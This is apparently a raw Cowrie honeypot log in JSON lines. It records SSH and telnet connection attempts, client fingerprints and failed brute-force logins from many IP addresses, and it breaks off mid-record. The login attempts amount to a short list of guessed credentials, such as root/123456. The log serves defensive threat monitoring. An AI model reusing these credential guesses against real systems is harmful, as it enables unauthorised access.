{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:23:22.648426Z","src_ip":"91.92.40.176","session":"f281eba7dc13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.18.100","src_port":36432,"dst_ip":"10.17.0.5","dst_port":22,"session":"2345e6a6038a","protocol":"ssh","message":"New connection: 206.189.18.100:36432 (10.17.0.5:22) [session: 2345e6a6038a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:23:22.833907Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:23:22.905424Z","src_ip":"206.189.18.100","session":"2345e6a6038a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:23:23.963841Z","src_ip":"91.92.40.176","session":"f281eba7dc13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":56798,"dst_ip":"159.203.135.109","dst_port":23,"session":"10ab6c3eb50e","protocol":"telnet","message":"New connection: 170.64.224.25:56798 (159.203.135.109:23) [session: 10ab6c3eb50e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:23:29.483818Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46126,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5d54c6bcb3a","protocol":"telnet","message":"New connection: 170.64.224.25:46126 (159.203.135.109:23) [session: b5d54c6bcb3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:23:49.817728Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":26010,"dst_ip":"10.17.0.5","dst_port":22,"session":"437deac2abd9","protocol":"ssh","message":"New connection: 38.93.206.2:26010 (10.17.0.5:22) [session: 437deac2abd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:24:05.209496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:24:05.213300Z","src_ip":"38.93.206.2","session":"437deac2abd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:24:05.264877Z","src_ip":"38.93.206.2","session":"437deac2abd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"browning","message":"login attempt [root/browning] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:24:05.416002Z","src_ip":"38.93.206.2","session":"437deac2abd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:24:06.475694Z","src_ip":"38.93.206.2","session":"437deac2abd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.445852279663086,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:24:07.263458Z","src_ip":"170.64.224.25","session":"b5d54c6bcb3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.87976694107056,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:24:22.363455Z","src_ip":"170.64.224.25","session":"10ab6c3eb50e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":56318,"dst_ip":"10.17.0.5","dst_port":22,"session":"be8be692f52b","protocol":"ssh","message":"New connection: 213.202.230.81:56318 (10.17.0.5:22) [session: be8be692f52b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:24:33.069724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:24:33.071870Z","src_ip":"213.202.230.81","session":"be8be692f52b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:24:33.161275Z","src_ip":"213.202.230.81","session":"be8be692f52b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"serbia","password":"Belgrade#Ethereum@S3cur3","message":"login attempt [serbia/Belgrade#Ethereum@S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:24:33.545597Z","src_ip":"213.202.230.81","session":"be8be692f52b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:24:34.635345Z","src_ip":"213.202.230.81","session":"be8be692f52b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":26578,"dst_ip":"10.17.0.5","dst_port":22,"session":"396f42cf8283","protocol":"ssh","message":"New connection: 147.45.199.80:26578 (10.17.0.5:22) [session: 396f42cf8283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:24:35.238992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:24:35.242622Z","src_ip":"147.45.199.80","session":"396f42cf8283","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:24:35.340196Z","src_ip":"147.45.199.80","session":"396f42cf8283","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"corazon","message":"login attempt [root/corazon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:24:35.634180Z","src_ip":"147.45.199.80","session":"396f42cf8283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:24:36.733624Z","src_ip":"147.45.199.80","session":"396f42cf8283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":36214,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fc77b981354","protocol":"ssh","message":"New connection: 91.92.40.176:36214 (10.17.0.5:22) [session: 0fc77b981354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:25:30.609849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:25:30.804883Z","src_ip":"91.92.40.176","session":"0fc77b981354","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:25:30.808041Z","src_ip":"91.92.40.176","session":"0fc77b981354","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:25:32.700532Z","src_ip":"91.92.40.176","session":"0fc77b981354","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:25:34.036629Z","src_ip":"91.92.40.176","session":"0fc77b981354","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":34886,"dst_ip":"159.203.135.109","dst_port":22,"session":"7178d1e67f54","protocol":"ssh","message":"New connection: 185.242.3.195:34886 (159.203.135.109:22) [session: 7178d1e67f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:25:36.994746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:25:36.998973Z","src_ip":"185.242.3.195","session":"7178d1e67f54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:25:37.090012Z","src_ip":"185.242.3.195","session":"7178d1e67f54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shop","password":"shop","message":"login attempt [shop/shop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:25:37.364321Z","src_ip":"185.242.3.195","session":"7178d1e67f54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:25:38.458083Z","src_ip":"185.242.3.195","session":"7178d1e67f54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":37322,"dst_ip":"159.203.135.109","dst_port":22,"session":"62b136df9cc1","protocol":"ssh","message":"New connection: 143.20.185.207:37322 (159.203.135.109:22) [session: 62b136df9cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:25:48.694321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:25:48.710372Z","src_ip":"143.20.185.207","session":"62b136df9cc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:25:48.810245Z","src_ip":"143.20.185.207","session":"62b136df9cc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSAVPS#4VCPU16GBAMD","message":"login attempt [root/RASYAXINSAVPS#4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:25:49.312243Z","src_ip":"143.20.185.207","session":"62b136df9cc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:25:50.429690Z","src_ip":"143.20.185.207","session":"62b136df9cc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.22.174","src_port":60612,"dst_ip":"159.203.135.109","dst_port":22,"session":"a67352305685","protocol":"ssh","message":"New connection: 162.214.22.174:60612 (159.203.135.109:22) [session: a67352305685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:26:04.816582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:26:04.820583Z","src_ip":"162.214.22.174","session":"a67352305685","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:26:04.902863Z","src_ip":"162.214.22.174","session":"a67352305685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"theta","password":"theta789","message":"login attempt [theta/theta789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:26:05.149239Z","src_ip":"162.214.22.174","session":"a67352305685","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:26:07.085339Z","src_ip":"162.214.22.174","session":"a67352305685","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":35688,"dst_ip":"159.203.135.109","dst_port":22,"session":"12790e64e1d9","protocol":"ssh","message":"New connection: 103.27.238.120:35688 (159.203.135.109:22) [session: 12790e64e1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:26:36.005694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:26:36.008672Z","src_ip":"103.27.238.120","session":"12790e64e1d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-c